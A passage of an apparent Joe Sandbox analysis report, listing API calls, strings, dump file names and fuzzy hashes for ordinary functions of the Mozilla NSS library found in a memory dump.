PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C6EFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C6EFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C6EFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6EFD84

Strings

:, xrefs: 6C6EFD78

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: b01e4206d05cafadfe8887c66f25ae5aba905da51fe0d084098779cd28e9b68c
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: E931C7B690A2195BEB008AB4ED097AF7BE8EF48718F250526DC14A7701E772D908C7D7

Function 6C6D0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6D0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6D0F84

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C6EF59B,6C7F890C,?), ref: 6C6D0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C6D0FC1

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C6D0FDB
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C6D1001
PL_FinishArenaPool.NSS3(?), ref: 6C6D1009

Strings

security, xrefs: 6C6D0F5C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: d421f1e1a34cf6aed3d000c86c1f75c0ef628c511ca3f0004e23211ec68b72b8
Instruction ID: 0f3a98282dc0c07f3a5920e4a51392bd6747afde47895066c64941d11eff63e0
Opcode Fuzzy Hash: d421f1e1a34cf6aed3d000c86c1f75c0ef628c511ca3f0004e23211ec68b72b8
Instruction Fuzzy Hash: 0C2106B1904204ABE7109F25DE49EAAB7B4EF4565CF108528FC189B702F731E619CBD2

Function 6C6D6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C6D7D8F,6C6D7D8F,?,?), ref: 6C6D6DC8

Part of subcall function 6C72FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C72FE08
Part of subcall function 6C72FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C72FE1D
Part of subcall function 6C72FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C72FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C6D7D8F,?,?), ref: 6C6D6DD5

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7F8FA0,00000000,?,?,?,?,6C6D7D8F,?,?), ref: 6C6D6DF7

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6D6E35

Part of subcall function 6C72FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C72FE29
Part of subcall function 6C72FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C72FE3D
Part of subcall function 6C72FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C72FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6D6E4C

Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7F8FE0,00000000), ref: 6C6D6E82

Part of subcall function 6C6D6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C6DB21D,00000000,00000000,6C6DB219,?,6C6D6BFB,00000000,?,00000000,00000000,?,?,?,6C6DB21D), ref: 6C6D6B01
Part of subcall function 6C6D6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C6D6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6D6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6D6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7F8FE0,00000000), ref: 6C6D6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C6D7D8F,?,?), ref: 6C6D6FE1

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c39dedb66878b2c129bd6eed1c825044802eedbb4db23d4df8b2666eed582e1d
Instruction ID: 34ef6c0ae2375862d392d45b3cb50b11e612c4dd586a3acd577cb6a008deb923
Opcode Fuzzy Hash: c39dedb66878b2c129bd6eed1c825044802eedbb4db23d4df8b2666eed582e1d
Instruction Fuzzy Hash: B171B171D106469FEB00CF15CE44BAABBA5BF94308F164629E808DBB11F730FA94CB95

Function 6C710FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C711057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711085
PK11_GetAllTokens.NSS3 ref: 6C7110B1
free.MOZGLUE(?), ref: 6C711107
PR_SetError.NSS3(00000000,00000000), ref: 6C711172
free.MOZGLUE(?), ref: 6C711182
free.MOZGLUE(?), ref: 6C7111A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7111C5

Part of subcall function 6C7152C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C6EEAC5,00000001), ref: 6C7152DF
Part of subcall function 6C7152C0: EnterCriticalSection.KERNEL32(?), ref: 6C7152F3
Part of subcall function 6C7152C0: PR_Unlock.NSS3(?), ref: 6C715358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7111D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7111F3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 44f980150e525fb58a5d3a5fd6eda60e1fdafc14ffe6837f0da4f48d15da471c
Instruction ID: 92d6d68184781fe3b4c489d6f406a5d2d00bff9315aa6c29645a9f4368601cf8
Opcode Fuzzy Hash: 44f980150e525fb58a5d3a5fd6eda60e1fdafc14ffe6837f0da4f48d15da471c
Instruction Fuzzy Hash: A961B3B0E043459FEB00DF64DA89BAAB7B5AF14358F184138EC19AFB41E731E944CB91

Function 6C71ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE10
EnterCriticalSection.KERNEL32(?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C6FD079,00000000,00000001), ref: 6C71AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AE7F
TlsGetValue.KERNEL32(?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AEF1
free.MOZGLUE(6C6FCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6FCDBB,?), ref: 6C71AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C6FCDBB,?,6C6FD079,00000000,00000001), ref: 6C71AF30

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 51329472de3b8c25eb41eb404b6ba835ac4460fc20723e138934f1a718fb3dbe
Instruction ID: e61861073319e92502c9cb325eae69fe8d85917b38f2b2657fc505e2b59ea80f
Opcode Fuzzy Hash: 51329472de3b8c25eb41eb404b6ba835ac4460fc20723e138934f1a718fb3dbe
Instruction Fuzzy Hash: 2451B1B1A04601AFDB11DF25DA8AB65B7B8FF05328F184675E80897E11E731E868CBD1

Function 6C6F4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6FAB7F,?,00000000,?), ref: 6C6F4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C6FAB7F,?,00000000,?), ref: 6C6F4CC8
TlsGetValue.KERNEL32(?,6C6FAB7F,?,00000000,?), ref: 6C6F4CE0
EnterCriticalSection.KERNEL32(?,?,6C6FAB7F,?,00000000,?), ref: 6C6F4CF4
PL_HashTableLookup.NSS3(?,?,?,6C6FAB7F,?,00000000,?), ref: 6C6F4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C6F4D10

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C6F4D26

Part of subcall function 6C799DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DC6
Part of subcall function 6C799DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DD1
Part of subcall function 6C799DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C799DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C6F4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C6F4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C6F4E02

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 86a90af3745c24ba1f242a37283eb8f73455bb3c34cc8af2676d5c0850b0e468
Instruction ID: 3479764f96e818404d59ec2dbf3bb1d0f00fe8e1c97a91ec71783ca88b289107
Opcode Fuzzy Hash: 86a90af3745c24ba1f242a37283eb8f73455bb3c34cc8af2676d5c0850b0e468
Instruction Fuzzy Hash: 7541D6B5A00105ABEB119F28ED449B677B9EF0A31CF054171EC1887B12FB71D925CBEA

Function 6C6DBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6DBFFB

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C6DC015

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C6DC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C6DC04D

Part of subcall function 6C7269E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C726A47
Part of subcall function 6C7269E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C726A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C6DC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C6DC07B

Part of subcall function 6C6D8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C6D7310), ref: 6C6D89B8
Part of subcall function 6C6D8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C6D7310), ref: 6C6D89E6
Part of subcall function 6C6D8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C6D8A00
Part of subcall function 6C6D8980: CERT_CopyRDN.NSS3(00000004,00000000,6C6D7310,?,?,00000004,?), ref: 6C6D8A1B
Part of subcall function 6C6D8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C6D8A74

Part of subcall function 6C6D1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C6DC097,00000000,000000B0,?), ref: 6C6D1D2C
Part of subcall function 6C6D1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C6DC09B,00000000,00000000,00000000,?,6C6DC097,00000000,000000B0,?), ref: 6C6D1D3F
Part of subcall function 6C6D1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C6DC087,00000000,000000B0,?), ref: 6C6D1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C6DC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C6DC0C9

Part of subcall function 6C6E2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C6DC0D2,6C6DC0CE,00000000,-000000D4,?), ref: 6C6E2DF5
Part of subcall function 6C6E2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C6DC0CE,00000000,-000000D4,?), ref: 6C6E2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C6DC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DC0E3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 595cf41882f88d15a4b3b5ba852d22953445da699b5567fde06f183986f6b6bc
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: B721C4B26401093BFB005A61AD85FFB33AC9B4175CF090034FD09DAA47FB66E51883BA

Function 6C6D2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6D2CDA,?,00000000), ref: 6C6D2E1E

Part of subcall function 6C72FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6D9003,?), ref: 6C72FD91
Part of subcall function 6C72FD80: PORT_Alloc_Util.NSS3(A4686C73,?), ref: 6C72FDA2
Part of subcall function 6C72FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C73,?,?), ref: 6C72FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C6D2E33

Part of subcall function 6C72FD80: free.MOZGLUE(00000000,?,?), ref: 6C72FDD1

TlsGetValue.KERNEL32 ref: 6C6D2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C6D2E5E
PL_HashTableLookup.NSS3(?), ref: 6C6D2E71
PL_HashTableRemove.NSS3(?), ref: 6C6D2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C6D2E96
PR_Unlock.NSS3 ref: 6C6D2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6D2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6D2EC5

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: a0cc38b8a902fdb84c5acbccbbc5e747001f0e8bf83b3672b996868dfd6cee4d
Instruction ID: 0933d5db54f19b3c1e27f428ba1d19a2c89f21a87b6b69367bc163d9bfa2c470
Opcode Fuzzy Hash: a0cc38b8a902fdb84c5acbccbbc5e747001f0e8bf83b3672b996868dfd6cee4d
Instruction Fuzzy Hash: C7213772A00111A7EF201B64EC0DA9B3B78EB9231DF050430ED1C82712F736D969D6E5

Function 6C6BFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6BFD18
sqlite3_initialize.NSS3 ref: 6C6BFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6BFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C6BFD99
sqlite3_free.NSS3(00000000), ref: 6C6BFE3C
sqlite3_free.NSS3(?), ref: 6C6BFEE3
sqlite3_free.NSS3(?), ref: 6C6BFEEE

Strings

simple, xrefs: 6C6BFC79

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 93f73c3118d946af00080ee2335f188c3e32f292bd73af67aad0514756d62a3d
Instruction ID: 8534981fc86a4377af1507321227d773a7d7de6e9b6c2f7231d12709f5dee9c3
Opcode Fuzzy Hash: 93f73c3118d946af00080ee2335f188c3e32f292bd73af67aad0514756d62a3d
Instruction Fuzzy Hash: 429184B8B012059FDB04CF55C980AAAF7F1FF85318F24C568D819AB762D731E862CB55

Function 6C6C5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6C5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6C5EED

Strings

misuse, xrefs: 6C6C5EDB
API call with %s database connection pointer, xrefs: 6C6C5EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C5ED1
%s at line %d of [%.10s], xrefs: 6C6C5EE0
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C6C5E64
invalid, xrefs: 6C6C5EBE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: fa68de85a65f1e43e3523e13b12082378348ed07a236357c8b5ea373957d46d6
Instruction ID: 120838a9de7360ed778b5a6c45db1facf0e683399e106b02df0497e5d4ede1a3
Opcode Fuzzy Hash: fa68de85a65f1e43e3523e13b12082378348ed07a236357c8b5ea373957d46d6
Instruction Fuzzy Hash: 0A819E30B057119BEB198E65CC58BAAB7B0FF41308F284669D8255BB51C730E842EBDE

Function 6C6ADCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6ADDF9
